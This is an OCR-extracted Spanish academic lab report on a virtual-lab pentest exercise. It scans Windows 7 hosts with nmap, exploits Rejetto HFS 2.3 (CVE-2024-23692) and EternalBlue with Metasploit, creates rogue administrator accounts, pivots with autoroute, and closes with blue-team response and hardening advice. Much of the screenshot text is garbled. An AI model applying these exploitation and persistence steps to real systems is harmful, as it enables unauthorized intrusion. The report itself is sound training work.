Uinculo: direccidn IPub local. . . @ feBBA::a978:aaSe:14f2:hidxi3
Direccion IPwd. . . . . . . . . . . . . 192_168.1.3

Mascara de subred . . . . - e . 255 .255._.255.@
Puerta de enlace predetermlnada e e e 122.168.1.1

Adaptador de Ethernet Conexidn de area local:

Euflan DNS e¢p301flcu para la cnnex1un.

Uinculo: direccidn IPu6 local. . . f 4842 -9ced4:4e38:7898x11
Direccion IPwd. . . . . . . . . 18.8.2.

Mascara de subred . . . . . 255 _255.255.8

Puerta de enlace predetermlnada . 18.8.2 .1

C:sUseprssusuario?

Nota. Captura de pantalla de la configuracion Ip del Host A y sus segmentos de red, SO
Windows 7.

34
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Figura 4
Configuracion Ip de Windows 7 Host B

B C\Windows\system32\cmd.exe E@

C-~Uzersswhoxuser>ipoconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

GConnection—=specific DNS Suffix
Link—local IPu6 Address . . . feBA::692h:e55f -db38:-3795:x11
IPv4 Address. . . . . - 192.168.1.4

Eubnet Mask . . . . - - . . . JL5 9L 9L @

Default Gateway . . . 192168 .11
Tunnel adapter izatap.{B?F36C7C—0498-4B41-ACF2-E4CY4EDBDDC2Z :

Media State . . . . - . . . . - - = Hedia disconnected
Connection—specific DHNS Suffix . =
Tunnel adapter 6T04 Adapter:

Media State . . . . . . . . . - - Media disconnected
Connection—specific DNS Suffix

C:xUsersswhoxuser?
|

Nota. Captura de pantalla de la configuracion Ip del Host A y su segmento de red, SO Windows
7.

Figura §
Tabla ARP

Nota. Captura de pantalla de la tabla ARP, con el fin de identificar qué dispositivos estan activos
en la red local recientemente.
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Figura 6

Comando con la herramienta nmap

Search Terminal Help

Nota. Captura de pantalla mediante el comando sudo nmap -sN 10.0.2.0/24 realizando escaneo al
segmento de red, se evidencia la IP de dos maquinas virtuales.

Figura 7

Ping a maquinas virtuales

LR Parrot Terminal
File Edit Search Terminal Help

Nota. Captura de pantalla del ping a las maquinas virtuales estableciendo que de acuerdo con la
tabla TTL (Windows=128, CiscolOS=255).



Figura 8

Pre-escaneo de versiones de los servicios
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Nota. Captura de pantalla del escaneo de versiones de los servicios que se estan ejecutando,
puertos en estado abierto del host IP 10.0.2.4.

Escaneo: esta etapa se orienta a descubrir los puertos y servicios activos en los

sistemas objetivo, se realiza una exploracion sistematica para identificar la superficie técnica

disponible para interacciones posteriores.

Figura 9

Rejetto HFS - HTTP File Server

@

Archiva  Méaquina  Ver  Entrada  Dispositivos  Ayuda
o |[&

P B D ﬁ ]
@v-v‘ W » usuaric » Descargas b [ 4 | [ Buscer Descargas P
Organizar » [ brir Compartir con ¥ Nueva carpeta = l @

T—— Nombre Fecha de modifica...  Tipo Temaiio
i Descargas DarkCometRATS31 1 Carpeta de archivos
B Escritorio [ parkcomet 123456 E . Archivo WinRARZ..  14.290 KB
5l Sitios recientes & his 1 .. Aplicacién 743 KB
4 HFS ~ HTTP File Server 23 Build 283 =0 B =)
& Menu | ) Port:80 | 82 You are in Easy mode
[&] Open in browser  http://10.0.2.4/ Copy to clipboard
Virtual File System Log
p 10:28:43 pm_10.0 2 634038 Requested GET /
+
€
91 1P address File Status Speed Time.. Progress
4 Out 0.0 KB/s  In:0.0 KB/s
AAEIE e
> - -
2.0 @ o "
5 = 5 8 [ CTRL DERECHA

Nota. Captura de pantalla del host A se-inician los se

File Server.

rvicios de la aplicacion Rejetto HFS - HTTP
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e Enumeracidn: consiste en extraer informacion adicional a partir de los servicios
descubiertos, se profundiza en cada uno para descubrir usuarios, directorios, recursos

compartidos o configuraciones que puedan facilitar la explotacion futura.

Figura 10

Escaneo de versiones de los servicios con NMAP

s system @ B B

1 Terminal He p

Nota. Captura de pantalla del host A donde se evidencia en el puerto 80 servicio http version
httpFileServer2.3.

Rejetto HFS - HTTP File Server es una aplicacion desarrollada por Rejetto que permite a
los usuarios crear un servidor web para compartir archivos a través de un navegador, su objetivo
principal es la simplicidad basta con ejecutar la aplicacion y arrastrar archivos o carpetas para

que queden disponibles a través de una URL. (Wikimedia Foundation, 2025)
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Figura 11
Vulnerabilidad en Rejetto HTTP File Server

g in:ihe_ * in:ihe-:ert_ NCIBE MCIBE-CER CIUDADENIA  MEMORES MPRESAS EVENTOS  ESPARA DIGITAL 2026

YRIPPON  Dlos  Publcaciones  Incdenies  Semicos  Sectores Estadgicss  Sobre INCISE-CER

LUCSDE RSl Vulnerabeidades

KA 5 IRCTRE-CRRT © Mlerma lempearss | Vlnersbiidacies | CUF-30324.33033

Vulnerabilidad en Rejetto HTTP File Server (CVE-2024-
23692)

Gravedad CVEE VL8

. ———
Tipex 13 Dizp
Facha do publicacire
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Nota. Captura de pantalla de la pagina web incibe-cert donde describe detalladamente sobre la
vulnerabilidad CVE-2024-23692 de la aplicacion Rejetto. (Incibe, 2025)

Reporte generado con la herramienta de andlisis y deteccion de vulnerabilidades
Mediante el comando sudo nmap -sV -sC --script=vuln -p- 10.0.2.4, el cual realiza un escaneo de
red detallado y buscar posibles vulnerabilidades en todos los puertos de un sistema, los
resultados de los scripts de vulnerabilidad muestran informacion detallada sobre vulnerabilidades
detectadas, incluyendo el ID de CVE si existe, el nivel de riesgo, y una breve descripcion.

XT—{root@parrot]—[/home/user]

L— #sudo nmap -sV -sC --script=vuln -p- 10.0.2.4

Starting Nmap 7.94SVN ( https:/nmap.org ) at 2025-11-13 03:37 UTC
Nmap scan report for 10.0.2.4

Host is up (0.00093s latency).

Not shown: 65521 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd 2.3

|_http-server-header: HFS 2.3

| http-fileupload-exploiter:

|

| Couldn't find a file-type field.

| http-method-tamper:

| VULNERABLE:

| Authentication bypass by HTTP verb tampering

| State: VULNERABLE (Exploitable)

| This web server contains password protected resources vulnerable to authentication bypass



vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
common HTTP methods and in misconfigured .htaccess files.

Extra information:

URIs suspected to be vulnerable to HTTP verb tampering:
/~login [GENERIC]

|
|
|
|
|
|
|
|
| References:
| http://www.imperva.com/resources/glossary/http_verb_tampering.html

| http://capec.mitre.org/data/definitions/274.html

| https://www.owasp.org/index.php/Testing_for HTTP_Methods_and_XST_%280WASP-CM-008%29
| http://www.mkit.com.ar/labs/htexploit/

| http-vuln-cve2011-3192:

| VULNERABLE:

| Apache byterange filter DoS

| State: VULNERABLE

| IDs: BID:49303 CVE:CVE-2011-3192

| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.

| Disclosure date: 2011-08-19

|  References:

| https://www.tenable.com/plugins/nessus/55976

| https://seclists.org/fulldisclosure/2011/Aug/175

| https://www .securityfocus.com/bid/49303

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-csrf: Couldn't find any CSRF vulnerabilities.

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-dombased-xss: Couldn't find any DOM based XSS.

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

49152/tcp open msrpe Microsoft Windows RPC

49153/tcp open msrpe Microsoft Windows RPC

49154/tcp open msrpe Microsoft Windows RPC

49155/tcp open msrpe Microsoft Windows RPC

49156/tcp open msrpe Microsoft Windows RPC

49157/tcp open msrpe Microsoft Windows RPC

MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

Service Info: Host: PC202006; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_smb-vuln-ms10-054: false

|_smb-vuln-ms10-061: NT _STATUS ACCESS DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

40
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State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|

|

|

|

|

|

| Disclosure date: 2017-03-14
|

|

|

I
|_samba-vuln-cve-2012-1182: NT STATUS ACCESS DENIED

Service detection performed. Please report any incorrect results at https:/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 455.68 seconds

e Explotacion: el proposito de la explotacion es confirmar la existencia y el impacto
de las vulnerabilidades detectadas, en el entorno de laboratorio, se selecciono un servicio

vulnerable para validar la posibilidad del acceso no autorizado.

Figura 12

Interfaz de la consola de Metasploit Framework

Terminal Help

help <command> to learn more

http:

Nota. Captura de pantalla de Metasploit donde se puede usar comandos para buscar exploits,
cargar payloads, realizar escaneos y ejecutar ataques.
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Figura 13

Interfaz de la consola de Metasploit Framework

it_client_c

tto HTTP File

to HttpFil

Interact with a

Nota. Captura de pantalla con el comando buscar “hfs” el cual arroja lo médulos para escoger.

Figura 14

Interfaz de la consola de Metasploit Framework

HTTPDELAY
Proxies

on the lo

is randoml

random

Nota. Captura de pantalla con el comando show options, con el fin de establecer los pardmetros
de ataque.
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Figura 15

Interfaz de la consola de Metasploit Framework

: :Meterpreter: :Extensions

5-11-15

: :Meterpreter: :Extensio
11-1

on the

28 Menu B Parrot Terminal

Nota. Captura de pantalla en la que se evidencia que mediante el comando run mestasploit,
empieza a realizar el ataque.

En este punto es importante indicar que se emplea el comando “sysinfo” el cual permite
obtener informacion detallada sobre el sistema operativo y sus componentes, pero este arroja un
error que el comando requiere que se cargada la extension “stadapi”; aca se intentaron varias
opciones para solucionar el error, entre ellas volver a instalar el metasploit, desactivar defender,
firewall del host A, reiniciar los servicios de la aplicacion Rejetto HFS, reiniciar maquinas
virtuales, sin obtener una solucion. (rapid7, 2012)

Por lo anterior se toma la decision de utilizar Kali Linux con ip 10.0.2.3, el cual si me
permite obtener informacion del SO, asi mismo se dejoé constancia que se le informo al tutor,

sobre el inconveniente y que se hace el cambio de parrot por Kali Linux.



44

=  Post-explotacion: esta etapa tiene como objetivo analizar el valor del acceso
obtenido, asi como el impacto que una intrusion exitosa podria producir. También se

evaliian permisos, recursos internos y la posibilidad de moverse lateralmente.

Figura 16 Interfaz de la consola de Metasploit Framework con Kali Linux

-11-14 2@:59:19 -050@

: F||' ]

: Windows 7 (6.1 Build 7601, Service Pack 1).
{11

: es_C0

: WORKGROUP

H

: xB6/windows

Nota. Captura de pantalla en la que se evidencia la informacion del sistema operativo con el
comando “sysinfo”.

Figura 17
Interfaz de la consola de Metasploit Framework con Kali Linux

Channel d.
Microsoft Windows ersien 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

usuario

Nota. Captura de pantalla en donde se evidencia con el comando “shell” la apertura de la linea de
comandos del sistema operativo Windows 7 del Host A.



Figura 18
Interfaz de la consola de Metasploit Framework con Kali Linux

password UNAD /add
UNAD /add

NET USER
[usuario [cont ] [ i 11 [/DOMAIN]
[opciones] [/DOMAIN]

i F

o el comando

>net localgroup Administ
roup Administrado
etado el comando corr

Nota. Captura de pantalla en donde se evidencia la creacion del usuario “Fredy Martinez” y
posterior mente se le dan roles al usuario de “Administrador”.

e Pivoting: el pivoting consiste en utilizar un sistema comprometido como punto
intermedio para acceder a otros sistemas que originalmente no eran alcanzables desde el
exterior. Esta técnica permite evaluar el riesgo de propagacion dentro de la red interna.

Figura 19

Interfaz de Metasploit Framework con Kali Linux (pivoting)

VM om B D)~

File Actions Edit View Help

Metasploit Documentation:: https docs.metasploit.com,

Nota. Captura de pantalla de Metasploit donde se puede usar comandos para buscar exploits,
cargar payloads, realizar escaneos y ejecutar ataques.

45
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Figura 20

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Archiv Maquina

B eoimek»

File Actions Edit Help

7_o10_ SEERRSLEINE 20 ¢ “ av Yes N 7 o EREINSTEINE sms

DOUBLEPULSAR
ETERNALBLUE

Nota. Captura de pantalla donde se consulta un exploit “ethernalblue”, alli también se despliega
sus modulos.

Figura 21

Interfaz de Metasploit Framework con Kali Linux (pivoting)

N
Archivo  Maquina  Ver  Entrada  Dispositivos  Ayuda

B omP O] 23 4

] kali@kaliz ~
File Actions Edit View Help

> use @
No payload configured, defaulting to windows/x64/meterpreter/rever
f6 exploit( ) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
Name nt Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
metasploit.html

RPORT 4 yes The target port (TCP)

SMBDomain no (optional) The Windows domain to use for authentication. Only affects Windows Server

2008 R2, Windows 7, Windows Embedded Standard 7 t. t machines.

SMBPass no (Optional) The password for the specifi

SMBUser 0 (Optional) The username to authent te as

VERIFY_ARCH  true e Check if remote architecture matches exploit Target. Only affects Windows Server 200
R2, Windows 7, Windows Embedded Standard 7 t machir

VERIFY_TARGET true e f remote ches exploit Target. fects Windows Server 2008 Wind

indows Embedded Standard 7 targe 7

Payload options (windows/x64/meterpreter/rev

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.3 yes The listen address (an interface may be specified)
LPORT 4b4h yes The listen port

Exploit target:

Id Name

@ Automatic Target

View the full module info with the i r f command .

Nota. Captura de pantalla en donde se utiliza el modulo “0” y se despliega el comando “show
options” para validar sus opciones y del payload.
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Figura 22
Interfaz de Metasploit Framework con Kali Linux (pivoting)

Gquina  Ver  Entrada  Disposi Ayuda

BEapkowrl-| 23

kali@kali: ~

File Actions Edit View Help

010! - Windows 7 Pro sional 7601 ck 1 x64 (B4-bit)

CORE

2=000!
0=000
9x000

20:19:13 -0500

[+] 10.0

Nota. Captura de pantalla en donde se configura mediante el comando set RHOST y se inicia la
explotacion con el comando “run”.

Figura 23

Interfaz de Metasploit Framework con Kali Linux (pivoting)

o]~

Actions Edit View Help

FEFFFFfeefees

Nota. Captura de pantalla en donde se evidencia en la carga util de ataque meterpreter el
comando utilizado “ipconfig”, en la interfaz 13 se puede observar la ip del host B, la cual
corresponde al segmento 192.168.1.0.
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Figura 24

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Archivo  Méaquina  Ver  Entrada  Dispositivos  Ayuda

SBEmPoOr)-|1 23 4]|F])

kali@kali: ~
File Actions Edit View Help

) > use post/multi/manage/autoroute
) > show options

Name Current Setting Required
cMD autoadd yes ea mmand (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0  no 4 2 * or CIDR as "/24"

SESSION yes e i

SUBNET no Subnet (IPv4, for

View the full module info with the , or i command.

msf6 post( ) > sessions -1

Active sessions

Id Name Type Information Connection
meterpreter x64/windows NT AUTHORITY\SYSTEM @ PC202006 10.0.2.3:4444 — 10.0.2.4:49162 (10.0.2.4)
session 1
Running module against PC202
Searching for subnets to autoroi
[+] Route added to subnet 10.0.2.0/ 55.255.0 from host's routing table.

[+] Route added to subnet 192.16: 55.255.0 from host's routing table.
Post module execution completed

Nota. Captura de pantalla en donde se evidencia el empleo mddulo post-explotacion de
Metasploit que se utiliza para agregar rutas de red automaticamente asi mismo el comando sesion
-1 se utiliza para listar todas las sesiones activas que han sido abiertas durante este ejercicio de
pentesting.

Figura 25

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Maquina Ver Entrada
[ R Nenie
kali@kali: ~

ons Edit View Help
ost(

e Routing Table

Nota. Captura de pantalla en donde se evidencia la tabla de ruteo y modulo de post-explotacion
de Metasploit que permite realizar un escaneo ARP desde una sesion comprometida en
Windows.



Figura 26

Interfaz de Metasploit Framework con Kali Linux (pivoting)

lali@kali: ~

@ PC202006 14446 — 10.0.2.4:49162 (10.0.2.4)

Nota. Captura de pantalla en donde se configuran todas las opciones para la explotacion del
modulo y posterior a ello se finaliza con el comando “run”.

Figura 27

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Archivo Maquina Ver Entrada Dispositivos Ayuda

S EmmPoFl-| 2 3 4]|F]

File Actions Edit View Help

Metasploit tip: Enable verbose logging with set VERBOSE true

49

Nota. Captura de pantalla de Metasploit en una nueva Shell, donde se puede usar comandos para

buscar exploits, cargar payloads, realizar escaneos y ejecutar ataques.
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Figura 28

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Magquina Entrada

BeomB

lali@lati: ~
File Actions Edit View Help

Target

b

e info with

ota. Captura pntalla dde se consulta nuevamente en una Shell, el exploit “ethernalblue”,
alli también se despliega sus modulos.

or

Figura 29

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Entrada

“t"

File Actions Edit View Help

Nota. Captura de pantalla en donde se configura el modulo de eternalblue y el puerto a atacar
para este caso el 5000, posterior se inicia con el ataque.
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Figura 30

Interfaz de Metasploit Framework con Kali Linux (pivoting)

Méquina

SEm PO

Edit View Help

Nota. Captura de pantalla en donde se evidencia en la interface Nro 13 la ip 192.168.1.3 del Host
B.

Figura 31

Interfaz de Metasploit Framework con Kali Linux (pivoting)

il PO

File Actions Edit View Help

Nota. Captura de pantalla en donde se inicia con una Shell en el Host B y como prueba de la
explotacion del pivoting se crea un usuario Administrador con el nombre Fredy martinez Rios



52

Figura 32
Interfaz de Metasploit Framework con Kali Linux (pivoting)

. » T

@ EIEIIE] il

Nota. Captura de pantalla en donde se evidencia en el entorno Windows la creacion del usuario
con roles de Administrador en el Host B.

Nmap: (Network Mapper) es una herramienta de software libre ampliamente utilizada en
el ambito de la ciberseguridad y la administracion de redes para la identificacion, analisis y
diagnostico de dispositivos conectados a un entorno de red, su funcion principal consiste en
realizar procesos de descubrimiento y auditoria mediante diferentes técnicas de escaneo que
permiten obtener informacion detallada sobre los hosts activos, los puertos abiertos, los servicios
en ejecucion y posibles configuraciones vulnerables. (Shivanandhan, 2025)

Parrot: es un OS es una distribucion del sistema operativo GNU/Linux orientada
especificamente a actividades de ciberseguridad, analisis forense digital, auditorias de seguridad
y desarrollo de software, desarrollado por la organizacion Parrot Security, este sistema se
caracteriza por integrar un conjunto amplio de herramientas profesionales destinadas a la
ejecucion de pruebas de penetracion, ingenieria inversa, analisis de vulnerabilidades y proteccion

de la privacidad. (Altube, 2025)
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Kali Linux: es una distribucion del sistema operativo GNU/Linux disefiada
especificamente para la realizacion de auditorias de seguridad, pruebas de penetracion y analisis
forense digital. Desarrollada y mantenida por la organizacion Offensive Security, esta
distribucién se ha consolidado como una de las herramientas méas empleadas en el ambito
profesional y académico de la ciberseguridad debido a su robustez, versatilidad y amplio
conjunto de utilidades preinstaladas. (School, 2025)

1. A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3
que le fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la Maquina
- 1 Windows.

a) El anexo sefala que SecureNova Labs detectd fugas de informacion originadas en
una estacion de trabajo Windows, este punto constituye el primer indicador critico, pues sugiere
la existencia de un compromiso previo en Host-A y la posible explotacion de un vector de ataque
que facilito la exfiltracion de datos, la deteccion de actividad andmala de salida suele asociarse a
la ejecucion de malware, abuso de procesos legitimos o explotacion de aplicaciones vulnerables.

b) El documento indica que la imagen forense revela que la estacion Windows tenia
en ejecucion una aplicacion vulnerable, la cual se considera el punto de entrada mas probable del
atacante, este hallazgo es clave para la identificacion del fallo, ya que permite delimitar el
analisis al software expuesto y evaluar si dicha aplicacion presentaba vulnerabilidades conocidas
o configuraciones deficientes que facilitaron su explotacion.

c) El anexo menciona que se encontraron rastros que evidencian la obtencion de una
shell remota, y un posterior escalamiento de privilegios.

Este conjunto de acciones confirma que el atacante no solo logrd un acceso inicial, sino

que también consolid6 un control superior dentro del sistema operativo.
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Dichas evidencias permiten inferir que la vulnerabilidad explotada otorgd un nivel de
acceso suficiente para ejecutar comandos arbitrarios y elevar permisos, lo cual constituye un
fallo de seguridad grave en la Maquina-1.

d) La presencia de un usuario con privilegios administrativos no autorizado
constituye otra evidencia determinante, la creacion de este tipo de cuentas es una técnica comun
para mantener persistencia y asegurar el control prolongado sobre un host comprometido.

Este dato es indispensable para determinar la profundidad del compromiso en Host-A y
confirma que el atacante alcanz6 privilegios de administrador, reforzando la hipotesis de
explotacion de una vulnerabilidad critica en el sistema o aplicacion afectada.

e) El documento sefala actividades asociadas al pivoting desde Host-A hacia Host-
B, lo que implica que el Host-A funcioné como punto de apoyo para extender el compromiso a
otros sistemas de la red interna, este hallazgo contribuye a la identificacion del fallo porque
demuestra que el atacante: obtuvo control efectivo del Host-A, exploto la vulnerabilidad de
manera exitosa, y utilizo los privilegios adquiridos para desplazarse lateralmente.

El movimiento lateral solo es posible cuando el host inicial presenta un fallo de seguridad
explotable que permite el control total del sistema.

f) El anexo solicita que el equipo Red Team reproduzca: el vector de ataque, la
explotacion de la vulnerabilidad, el escalamiento de privilegios, y el pivoting hacia Host-B.

Esta instruccion confirma que el fallo de seguridad identificado est4 vinculado
directamente a la explotacion de la aplicacion vulnerable en Host-A y que dicho comportamiento
debe ser replicable para validar técnicamente la hipotesis del incidente.

2. (Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la

“Méquina - 1 Windows”? ;Qué puerto abre la aplicacion especifica en el anexo?.
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La herramienta que se emple6 para poder identificar el fallo de seguridad es NMAP y de
acuerdo con el escaneo detallado con el comando sudo nmap -sV -sC --script=vuln -p- a la Ip del
host A, donde también se determin6 que la aplicacion Rejetto HFS - HTTP File Server tiene en
estado abierto el puerto 80.

3. Explique con sus palabras y de manera especifica como afecta el ataque a las
maquinas (Windows) encontradas en la red: Haga uso de gréaficos para explicar el ataque.

El ataque dirigido a las maquinas Windows identificadas en la red ocasiona un impacto
significativo en varios niveles de seguridad: confidencialidad, integridad, disponibilidad y
control operativo, el analisis del ataque permite comprender como un atacante, mediante la
explotacion de una aplicacion vulnerable Rejetto HFS 2.3, la cual logra comprometer
inicialmente el Host-A y posteriormente extenderse hacia el Host-B a través de técnicas de
pivoting.

El atacante identifica que el Host-A tiene expuesto un servidor vulnerable Rejetto HFS
2.3 ejecutandose en el puerto 80/TCP, esta aplicacion contiene la vulnerabilidad CVE-2024-
23692, la cual permite ejecucion remota no autenticado.

Figura 33

Ataque inicial a Host-A

S Ersen

y

. Resultado:
Explot %%024'23692 - Acceso remoto (shell)
& - Ejecucion de comandos
- - Toma de control inicial
Atacante _I-Iost A
Parrot / Kali Linux Windows 7

APP HFS 2.3

Nota. Captura de pantalla en donde se evidencia que el atacante obtiene una shell remota con
permisos del usuario que ejecuta el servicio.
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Una vez controlado el Host-A, el atacante lo utiliza como puente pivoting para acceder al
Host-B, el cual se encuentra en otro segmento de red inaccesible desde el equipo atacante, se
emplean técnicas con el modulo de autoroute permite redirigir trafico a través de HostA.

Figura 34

Proceso de Pivoting

5 ‘Wondershara
y = EdrawMax
Exploit CVE-2024-23692 ' Pivoting (Autoroute) '
—_— —
¢ [
o -

Atacante HostA Host B
Parrot / Kali Linux Windows 7 Windows 7
APPHFS 23

Nota. Captura de pantalla en donde se evidencia que el atacante obtiene un punto de acceso
adicional dentro de la red y se compromete completamente el segundo equipo sin exposicion
directa.

Andlisis de respuesta al encontrarse un ataque en tiempo real con argumentos técnicos.

La deteccion de un ataque en tiempo real dentro de un entorno corporativo exige una
respuesta inmediata, sistematica y técnicamente fundamentada, teniendo en cuenta el escenario
propuesto implica que, uno como miembro del Blue Team debe actuar inicialmente sobre el host
comprometido, utilizando herramientas de licencia de software libre libre y/o codigo abierto; que
bajo esta premisa, la prioridad inicial consiste en confirmar la naturaleza del ataque, preservar la
integridad de la evidencia y evitar que el incidente escale a otros sistemas de la organizacion.
(Kotwani, 2023)

La primera accion que debe ejecutar el analista Blue Team al encontrarse con un ataque
en tiempo real es determinar el estado actual del sistema comprometido, identificando procesos,

conexiones de red, artefactos activos y el vector de persistencia, esta verificacion inmediata
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permite establecer si el atacante mantiene control del sistema y qué alcance tiene el compromiso.
A continuacion, algunos argumentos técnicos:

. Inspeccion de los procesos sospechosos en memoria RAM, recurso que mejor
refleja la actividad en tiempo real de un sistema comprometido, la primera indagacion técnica
debe realizarse con herramientas para analisis de memoria como Volatility; el objetivo es
identificar procesos sin firma digital, ejecutados desde rutas atipicas como por ejemplo
“C:\Users\Public, Temp”, esta evaluacion responde a la necesidad de detectar actividad
maliciosa activa, inyeccion de cddigo, shells remotos o malware en ejecucion.

o Verificacion de conexiones de red activas y persistentes, determinando si el
atacante mantiene un canal de comunicacion activo, algunas de las herramientas empleadas son
TCPView y Wireshark; se debe analizar Conexiones establecidas hacia direcciones Ip externas
desconocidas, puertos abiertos inusuales o programas asociados a cada conexion, esto permite
detectar reverse shells, RATs, tineles o trafico C2.

o Evaluacion del impacto en la red interna teniendo en cuenta que el escenario
indica que el ataque podria estar afectando a la infraestructura interna de SecureNova Labs, es
prioritario detectar si el equipo estd realizando escaneo horizontal con herramientas como Nmap
y ARP Sweep; el equipo actiia como pivot para comprometer otros hosts que se han ejecutado
scripts automatizados como PowerShell Empire, Metasploit, entre otros; en este punto se revisan
tablas ARP, registro de rutas, sniffing con Wireshark para trafico anomalo interno.

J Validacion de mecanismos de persistencia, el analista debe descartar que el
atacante haya dejado persistencia mediante tareas programadas “schtasks y/o query”, claves
Run/RunOnce del registro, servicios creados recientemente y usuarios nuevos de privilegios
elevados, es importante mencionar que es critico eliminar persistencia antes de cualquier

neutralizacion del ataque.
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. Aislamiento del equipo siendo una accion inmediata de contencion, una vez se
verifica que el host estd efectivamente comprometido, el primer paso operativo para contener el
ataque es aislar el equipo de la red, evitando propagacion sin apagarlo, para no destruir
evidencia; algunos métodos de aplicacion son desconectar el cable de red, deshabilitar el
adaptador de red y aplicar reglas de firewall temporal de tipo restrictivas, que permite que el

atacante pierda control sin comprometer la integridad del sistema para analisis posterior.

Medidas de hardenizacion para un ataque, teniendo en cuenta la maniobra ejecutada en el

ejercicio de Red Team.

En el ejercicio Red Team se evidencio un conjunto de fallos criticos en la estacion de
trabajo Windows (Host-A) y en la infraestructura asociada, incluyendo la explotacion de una
aplicacion vulnerable, obtencion de una shell remota, escalamiento de privilegios, creacion de
cuentas administrativas no autorizadas y movimientos laterales hacia un servidor secundario
(Host-B) desde donde se extrajo informacion sensible, dado que el objetivo del Blue Team es
evitar que este tipo de ataque se repita, es necesario implementar un conjunto integral de medidas
de hardenizacion a nivel de sistema operativo, aplicaciones, credenciales, red y monitoreo de la
siguiente manera: (Chindrus, 2023)

Hardenizacion del sistema operativo mediante la gestion de parches y actualizacion de
software, el ataque se origin6 debido a una aplicacion vulnerable explotada para obtener Shell,
para evitar este vector es posible implementar un proceso estricto de gestion de parches (Patch
Management), automatizar actualizaciones mediante WSUS, Intune o scripts GPL, eliminar
aplicaciones obsoletas o sin soporte.

Endurecimiento de servicios y deshabilitacion de protocolos inseguros como SMBv1,

RDP sin NLA, y servicios no utilizados, asi mismo aplicar el principio de reducir superficie de
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ataque desinstalando roles innecesarios y reforzar credenciales RDP mediante MFA y
certificados.

Hardenizacion de aplicaciones y servicios expuestos mediante analisis de
vulnerabilidades continuo con escaneos semanales con herramientas como OpenVAS, Wapiti,
Nikto, asi mismo aplicar virtualizacion o sandboxing a aplicaciones riesgosas y aislar
aplicaciones inseguras para que un fallo no comprometa el sistema completo.

Endurecimiento de la red y segmentacion, separando estaciones de trabajo, servidores,
bases de datos y servicios criticos, bloqueando por defecto todo trafico lateral innecesario, de
igual manera aplicar reglas basadas en Zero Trust teniendo presente la siguiente frase “Nada se
confia por defecto, todo se valida” e implementar IDS/IPS como Suricata o Snort para detectar

pivoting o tréfico.

Diferencias entre un equipo Blue Team y un equipo de respuesta a incidentes informadticos.

Los equipos Blue Team tanto como el equipo de respuesta a incidentes informaticos
cumplen funciones fundamentales orientadas a la proteccion, contencion y aseguramiento de los
activos tecnologicos, sin embargo, aunque ambos comparten el objetivo general de fortalecer la
postura de seguridad en las organizaciones, presentan diferencias claras en cuanto a su enfoque,
alcance operativo y naturaleza de sus actividades.

El equipo Blue Team se caracteriza por ser un equipo permanente y proactivo, cuyo
proposito principal es disefiar, implementar y mejorar continuamente los controles defensivos,
dentro de sus funciones incluyen la monitorizacion de la red, analisis de vulnerabilidades,
configuracidon segura de sistemas, gestion de parches, hardening, deteccién de anomalias y

desarrollo de estrategias defensivas, este equipo trabaja de manera constante, incluso en ausencia
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de incidentes activos, y su enfoque se centra en la prevencion mediante la gestion del riesgo y el
fortalecimiento de la infraestructura tecnologica.

El equipo de respuesta a incidentes informaticos actlia principalmente de forma reactiva,
interviniendo cuando ocurre un evento de seguridad que compromete la confidencialidad,
integridad o disponibilidad de los sistemas, dentro de su mision se orienta a la identificacion,
analisis, contencion, erradicacion y recuperacion ante incidentes confirmados, ademas,
documenta lecciones aprendidas y coordina acciones con otras dreas para evitar recurrencias,
pero su activacion se da esencialmente cuando existe una amenaza materializada o un incidente
en curso.

